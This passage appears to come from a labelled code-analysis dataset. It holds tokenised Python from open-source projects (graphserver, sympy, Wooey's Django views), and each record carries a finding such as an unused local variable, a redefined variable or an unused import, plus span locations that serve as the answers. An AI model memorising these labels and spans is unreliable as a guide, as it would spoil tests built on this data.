"toda", "y", "'_", ":_", "today_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "top", "\\u", "article", "s", "'_", ":_", "top", "\\u", "articles_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "weekday", "\\u", "header", "'_", ":_", "weekday", "\\u", "header_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "year", "'_", ":_", "year_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "year", "\\u", "minu", "s", "'_", ":_", "year", "\\u", "minus_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "year", "\\u", "plus", "'_", ":_", "year", "\\u", "plus_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "render", "\\u", "to", "\\u", "response_", "(_", "'", "front", "page", "/", "front", "page", ".", "html", "'_", ",_", "page_", ",_", "context", "\\u", "instance_", "=_", "Request", "Context_", "(_", "request_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "cache", "\\u", "page_", "(_", "60_", "*_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "section", "\\u", "front_", "(_", "request_", ",_", "slug_", "=_", "None_", ",_", "page_", "=_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "\"\"\"", " ", "\\", "10", ";", "\t", "Show", "s", " ", "a", " ", "paginated", " ", "list", " ", "of", " ", "article", "s", " ", "for", " ", "a", " ", "give", "n", " ", "section", ".", "\\", "10", ";", "\t", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "site_", "=_", "Site_", "._", "objects_", "._", "get", "\\u", "current_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "section_", "=_", "Section_", "._", "objects_", "._", "filter_", "(_", "publicat", "ion", "\\u\\u", "site_", "=_", "site_", ")_", "._", "get_", "(_", "slug_", "=_", "slug_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Section_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "raise_", "Http404_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "section", "\\u", "front_", "=_", "Web", "Front", "_", "._", "objects_", "._", "filter_", "(_", "site_", "=_", "site_", ",_", "type_", "=_", "'", "section", "'_", ")_", "._", "get_", "(_", "top", "\\u", "sections_", "=_", "section_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lead", "\\u", "item_", "=_", "section", "\\u", "front_", "._", "item", "\\u", "set_", "._", "all_", "(_", ")_", "[_", ":_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "priorit", "y", "\\u", "items_", "=_", "section", "\\u", "front_", "._", "item", "\\u", "set_", "._", "all_", "(_", ")_", "[_", "1_", ":_", "5_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Web", "Front", "_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "raise_", "Http404_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "archive", "\\u", "name_", "=_", "section_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "page_", "=_", "int_", "(_", "page_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "raise_", "Http404_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "articles_", "=_", "Article_", "._", "get", "\\u", "published_", "._", "filter_", "(_", "section_", "=_", "section_", ")_", "._", "exclude_", "(_", "web", "front", "item", "\\u\\u", "web", "front_", "=_", "section", "\\u", "front_", ")_", "[_", ":_", "10_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "blog", "\\u", "posts_", "=_", "Entry_", "._", "get", "\\u", "published_", "._", "filter_", "(_", "blog", "\\u\\u", "section_", "=_", "section_", ")_", "[_", ":_", "5_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "recent", "\\u", "articles_", "=_", "Article_", "._", "get", "\\u", "published_", "._", "filter_", "(_", "section_", "=_", "section_", ")_", "[_", ":_", "50_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "relate", "d\\u", "blogs", "_", "=_", "Blog", "_", "._", "current_", "._", "filter_", "(_", "section_", "=_", "section_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "relate", "d\\u", "podcast", "s_", "=_", "Episode_", "._", "objects_", "._", "filter_", "(_", "channel", "\\u\\u", "section_", "=_", "section_", ")_", "[_", ":_", "5_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tag", "\\u", "dict_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "article_", "in_", "recent", "\\u", "articles_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "for_", "tag_", "in_", "article_", "._", "tags_", "._", "all_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "if_", "tag_", "._", "title_", "in_", "tag", "\\u", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "tag", "\\u", "dict_", "[_", "tag_", "._", "title_", "]_", "=_", "tag", "\\u", "dict_", "[_", "tag_", "._", "title_", "]_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "tag", "\\u", "dict_", "[_", "tag_", "._", "title_", "]_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "feature", "d\\u", "tags_", "=_", "tag", "\\u", "dict_", "._", "items_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "order", "ed", "\\u", "tags_", "=_", "sorted_", "(_", "feature", "d\\u", "tags_", ",_", "key_", "=_", "lambda_", "tag_", ":_", "tag_", "[_", "1_", "]_", ",_", "reverse_", "=_", "True_", ")_", "[_", ":_", "30_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tag", "\\u", "objects_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "tag_", "in_", "order", "ed", "\\u", "tags_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "tag", "\\u", "obj_", "=_", "Tag_", "._", "objects_", "._", "get_", "(_", "title_", "=_", "tag_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tag", "\\u", "objects_", "._", "append_", "(_", "(_", "tag", "\\u", "obj_", ",_", "tag_", "[_", "1_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "random_", "._", "shuffle_", "(_", "tag", "\\u", "objects_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tag", "\\u", "cloud_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "tag_", "in_", "tag", "\\u", "objects_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "if_", "tag_", "[_", "1_", "]_", ">_", "15_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "new", "\\u", "size_", "=_", "25_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "new", "\\u", "size_", "=_", "9_", "+_", "tag_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tag", "\\u", "cloud_", "._", "append_", "(_", "(_", "tag_", "[_", "0_", "]_", ",_", "new", "\\u", "size_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "page_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "archive", "\\u", "name", "'_", ":_", "archive", "\\u", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "article", "s", "'_", ":_", "articles_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "blog", "\\u", "posts", "'_", ":_", "blog", "\\u", "posts_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "lead", "\\u", "item", "'_", ":_", "lead", "\\u", "item_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "order", "ed", "\\u", "tags", "'_", ":_", "order", "ed", "\\u", "tags_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "priorit", "y", "\\u", "items", "'_", ":_", "priorit", "y", "\\u", "items_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "relate", "d\\u", "blogs", "'_", ":_", "relate", "d\\u", "blogs", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "relate", "d\\u", "podcast", "s", "'_", ":_", "relate", "d\\u", "podcast", "s_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "section", "'_", ":_", "section_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "section", "\\u", "front", "'_", ":_", "section", "\\u", "front_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tag", "\\u", "cloud", "'_", ":_", "tag", "\\u", "cloud_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "render", "\\u", "to", "\\u", "response_", "(_", "'", "manage", "ment", "/", "section", "\\u", "front", ".", "html", "'_", ",_", "page_", ",_", "Request", "Context_", "(_", "request_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 0, 1, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
bmander/graphserver/pygs/test/stress_test/stress_test.py
[ { "content": "def grind(func, n, threshold=10):\n mperc, m0 = get_mem_usage()\n\n g = Graph()\n for i in xrange(n):\n func()\n \n mperc, m1 = get_mem_usage()\n \n print m0, m1\n assert m1 <= m0+threshold", "metadata": "root.grind", "header": "['module', '___EOS___']", "index": 5 }, { "content": " def test_shortest_path_grind(self):\n s = Graph()\n s.add_vertex(\"A\")\n s.add_vertex(\"B\")\n s.add_vertex(\"C\")\n s.add_edge(\"A\",\"B\",Street(\"1\", 1.1))\n s.add_edge(\"B\",\"A\",Street(\"1\", 1.1))\n s.add_edge(\"B\",\"C\",Street(\"2\", 2.2))\n \n def func():\n spt = s.shortest_path_tree(\"A\",\"C\", State(1,0))\n sp = spt.path(\"C\")\n spt.destroy()\n \n grind(func, 50000)", "metadata": "root.StressTest.test_shortest_path_grind", "header": "['class', 'StressTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 130 } ]
[ { "span": "g ", "start_line": 8, "start_column": 4, "end_line": 8, "end_column": 5 }, { "span": "sp ", "start_line": 141, "start_column": 12, "end_line": 141, "end_column": 14 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "grind", "_", "(_", "func_", ",_", "n_", ",_", "threshold_", "=_", "10_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mpe", "rc_", ",_", "m0_", "=_", "get", "\\u", "mem", "\\u", "usage_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "g_", "=_", "Graph_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "n_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "func_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "mpe", "rc_", ",_", "m1_", "=_", "get", "\\u", "mem", "\\u", "usage_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "m0_", ",_", "m1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "m1_", "<=_", "m0_", "+_", "threshold_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Stre", "ss", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "short", "est", "\\u", "path", "\\u", "grind", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "Graph_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "._", "add", "\\u", "vertex_", "(_", "\"", "A", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "._", "add", "\\u", "vertex_", "(_", "\"", "B", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "._", "add", "\\u", "vertex_", "(_", "\"", "C", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "._", "add", "\\u", "edge_", "(_", "\"", "A", "\"_", ",_", "\"", "B", "\"_", ",_", "Stre", "et_", "(_", "\"", "1", "\"_", ",_", "1.1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "._", "add", "\\u", "edge_", "(_", "\"", "B", "\"_", ",_", "\"", "A", "\"_", ",_", "Stre", "et_", "(_", "\"", "1", "\"_", ",_", "1.1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "._", "add", "\\u", "edge_", "(_", "\"", "B", "\"_", ",_", "\"", "C", "\"_", ",_", "Stre", "et_", "(_", "\"", "2", "\"_", ",_", "2.2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "func_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "spt", "_", "=_", "s_", "._", "short", "est", "\\u", "path", "\\u", "tree_", "(_", "\"", "A", "\"_", ",_", "\"", "C", "\"_", ",_", "State_", "(_", "1_", ",_", "0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sp_", "=_", "spt", "_", "._", "path_", "(_", "\"", "C", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "spt", "_", "._", "destroy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "grind", "_", "(_", "func_", ",_", "50000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
sympy/sympy/sympy/core/tests/test_truediv.py
[ { "content": "def test_basic():\n def s(a, b):\n x = a\n x = +a\n x = -a\n x = a + b\n x = a - b\n x = a*b\n x = a/b\n x = a**b\n assert dotest(s)", "metadata": "root.test_basic", "header": "['module', '___EOS___']", "index": 30 } ]
[ { "span": "x ", "start_line": 32, "start_column": 8, "end_line": 32, "end_column": 9 }, { "span": "x ", "start_line": 33, "start_column": 8, "end_line": 33, "end_column": 9 }, { "span": "x ", "start_line": 34, "start_column": 8, "end_line": 34, "end_column": 9 }, { "span": "x ", "start_line": 35, "start_column": 8, "end_line": 35, "end_column": 9 }, { "span": "x ", "start_line": 36, "start_column": 8, "end_line": 36, "end_column": 9 }, { "span": "x ", "start_line": 37, "start_column": 8, "end_line": 37, "end_column": 9 }, { "span": "x ", "start_line": 38, "start_column": 8, "end_line": 38, "end_column": 9 } ]
[]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "basic_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "s_", "(_", "a_", ",_", "b_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", "=_", "a_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "+_", "a_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "-_", "a_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "a_", "+_", "b_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "a_", "-_", "b_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "a_", "*_", "b_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "a_", "/_", "b_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "a_", "**_", "b_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert_", "dot", "est_", "(_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 0, 2, 2, 2, 2, 0, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
wooey/Wooey/wooey/views/views.py
[ { "content": "from __future__ import absolute_import, unicode_literals\nfrom collections import defaultdict\nimport datetime as dt\n\nfrom django.views.generic import DetailView, TemplateView, View\nfrom django.template.loader import render_to_string\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.core.urlresolvers import reverse\nfrom django.conf import settings\nfrom django.forms import FileField\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.utils.encoding import force_text\nfrom django.template import RequestContext\nfrom django.contrib.auth import get_user_model\nfrom django.http import Http404\n\nfrom django.contrib.contenttypes.models import ContentType\n\nfrom ..backend import utils\nfrom ..models import WooeyJob, Script, UserFile, Favorite, ScriptVersion\nfrom .. import settings as wooey_settings\nfrom ..django_compat import JsonResponse\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class WooeyScriptBase(DetailView):\n model = Script\n slug_field = 'slug'\n slug_url_kwarg = 'slug'\n\n\n\n", "metadata": "root.WooeyScriptBase", "header": "['module', '___EOS___']", "index": 24 }, { "content": " @staticmethod\n def render_fn(s):\n return s", "metadata": "root.WooeyScriptBase.render_fn", "header": "['class', 'WooeyScriptBase', '(', 'DetailView', ')', ':', '___EOS___']", "index": 29 }, { "content": " def get_object(self, queryset=None):\n script_version = self.kwargs.get('script_verison')\n script_iteration = self.kwargs.get('script_iteration')\n if script_version is not None:\n if queryset is None:\n queryset = self.get_queryset()\n\n slug = self.kwargs.get(self.slug_url_kwarg, None)\n\n # Next, try looking up by slug.\n if slug is not None:\n slug_field = self.get_slug_field()\n queryset = queryset.filter(**{slug_field: slug, 'script_version': script_version})\n if script_iteration:\n queryset.filter(script_iteration=script_iteration)\n else:\n queryset.latest('script_iteration')\n else:\n raise AttributeError(\"Generic detail view %s must be called with \"\n \"either an object pk or a slug.\"\n % self.__class__.__name__)\n try:\n # Get the single item from the filtered queryset\n obj = queryset.get()\n except queryset.model.DoesNotExist:\n raise Http404(_(\"No %(verbose_name)s found matching the query\") %\n {'verbose_name': queryset.model._meta.verbose_name})\n return obj\n else:\n return super(WooeyScriptBase, self).get_object(queryset=queryset)", "metadata": "root.WooeyScriptBase.get_object", "header": "['class', 'WooeyScriptBase', '(', 'DetailView', ')', ':', '___EOS___']", "index": 33 }, { "content": " def get_context_data(self, **kwargs):\n context = super(WooeyScriptBase, self).get_context_data(**kwargs)\n\n # returns the models required and optional fields as html\n job_id = self.kwargs.get('job_id')\n initial = defaultdict(list)\n\n if job_id:\n job = WooeyJob.objects.get(pk=job_id)\n if job.user is None or (self.request.user.is_authenticated() and job.user == self.request.user):\n context['job_info'] = {'job_id': job_id, 'url': job.get_resubmit_url(), 'data_url': job.script_version.script.get_url()}\n\n for i in job.get_parameters():\n value = i.value\n if value is not None:\n initial[i.parameter.slug].append(value)\n\n context['form'] = utils.get_form_groups(script_version=self.object.latest_version, initial_dict=initial, render_fn=self.render_fn, pk=self.object.pk)\n return context", "metadata": "root.WooeyScriptBase.get_context_data", "header": "['class', 'WooeyScriptBase', '(', 'DetailView', ')', ':', '___EOS___']", "index": 64 }, { "content": " def post(self, request, *args, **kwargs):\n post = request.POST.copy()\n user = request.user if request.user.is_authenticated() else None\n if not wooey_settings.WOOEY_ALLOW_ANONYMOUS and user is None:\n return {'valid': False, 'errors': {'__all__': [force_text(_('You are not permitted to access this script.'))]}}\n\n form = utils.get_master_form(pk=post['wooey_type'])\n # TODO: Check with people who know more if there's a smarter way to do this\n utils.validate_form(form=form, data=post, files=request.FILES)\n # for cloned jobs, we don't have the files in input fields, they'll be in a list like ['', filename]\n # This will cause issues.\n to_delete = []\n for i in post:\n if isinstance(form.fields.get(i), FileField):\n # if we have a value set, reassert this\n new_values = list(filter(lambda x: x, post.getlist(i)))\n cleaned_values = []\n for new_value in new_values:\n if i not in request.FILES and (i not in form.cleaned_data or (new_value and (form.cleaned_data[i] is None or not [j for j in form.cleaned_data[i] if j]))):\n # this is a previously set field, so a cloned job\n if new_value is not None:\n cleaned_values.append(utils.get_storage(local=False).open(new_value))\n to_delete.append(i)\n if cleaned_values:\n form.cleaned_data[i] = cleaned_values\n for i in to_delete:\n if i in form.errors:\n del form.errors[i]\n\n # because we can have multiple files for a field, we need to update our form.cleaned_data to be a list of files\n for i in request.FILES:\n v = request.FILES.getlist(i)\n if i in form.cleaned_data:\n cleaned = form.cleaned_data[i]\n cleaned = cleaned if isinstance(cleaned, list) else [cleaned]\n form.cleaned_data[i] = list(set(cleaned).union(set(v)))\n\n if not form.errors:\n # data = form.cleaned_data\n version_pk = form.cleaned_data.get('wooey_type')\n script_version = ScriptVersion.objects.get(pk=version_pk)\n valid = utils.valid_user(script_version.script, request.user).get('valid')\n if valid is True:\n group_valid = utils.valid_user(script_version.script.script_group, request.user).get('valid')\n if valid is True and group_valid is True:\n job = utils.create_wooey_job(script_version_pk=version_pk, user=user, data=form.cleaned_data)\n job.submit_to_celery()\n return {'valid': True, 'job_id': job.id}\n\n return {'valid': False, 'errors': {'__all__': [force_text(_('You are not permitted to access this script.'))]}}\n\n return {'valid': False, 'errors': form.errors}", "metadata": "root.WooeyScriptBase.post", "header": "['class', 'WooeyScriptBase', '(', 'DetailView', ')', ':', '___EOS___']", "index": 84 }, { "content": "class WooeyScriptJSON(WooeyScriptBase):\n\n # FIXME: the form data is returned as form objects so can be passed to templates\n # this render_fn allows us to pass the return through a stringify method for JSON\n\n", "metadata": "root.WooeyScriptJSON", "header": "['module', '___EOS___']", "index": 138 }, { "content": " @staticmethod\n def render_fn(form):\n return form.as_table()", "metadata": "root.WooeyScriptJSON.render_fn", "header": "['class', 'WooeyScriptJSON', '(', 'WooeyScriptBase', ')', ':', '___NEWLINE___', '___NL___', '# FIXME: the form data is returned as form objects so can be passed to templates', '___NL___', '# this render_fn allows us to pass the return through a stringify method for JSON', '___NL___', '___EOS___']", "index": 142 }, { "content": " def render_to_response(self, context, *args, **kwargs):\n return JsonResponse(context)", "metadata": "root.WooeyScriptJSON.render_to_response", "header": "['class', 'WooeyScriptJSON', '(', 'WooeyScriptBase', ')', ':', '___NEWLINE___', '___NL___', '# FIXME: the form data is returned as form objects so can be passed to templates', '___NL___', '# this render_fn allows us to pass the return through a stringify method for JSON', '___NL___', '___EOS___']", "index": 146 }, { "content": " def post(self, *args, **kwargs):\n data = super(WooeyScriptJSON, self).post(*args, **kwargs)\n return JsonResponse(data)", "metadata": "root.WooeyScriptJSON.post", "header": "['class', 'WooeyScriptJSON', '(', 'WooeyScriptBase', ')', ':', '___NEWLINE___', '___NL___', '# FIXME: the form data is returned as form objects so can be passed to templates', '___NL___', '# this render_fn allows us to pass the return through a stringify method for JSON', '___NL___', '___EOS___']", "index": 149 }, { "content": "class WooeyScriptView(WooeyScriptBase):\n\n template_name = 'wooey/scripts/script_view.html'\n", "metadata": "root.WooeyScriptView", "header": "['module', '___EOS___']", "index": 154 }, { "content": " def post(self, *args, **kwargs):\n data = super(WooeyScriptView, self).post(*args, 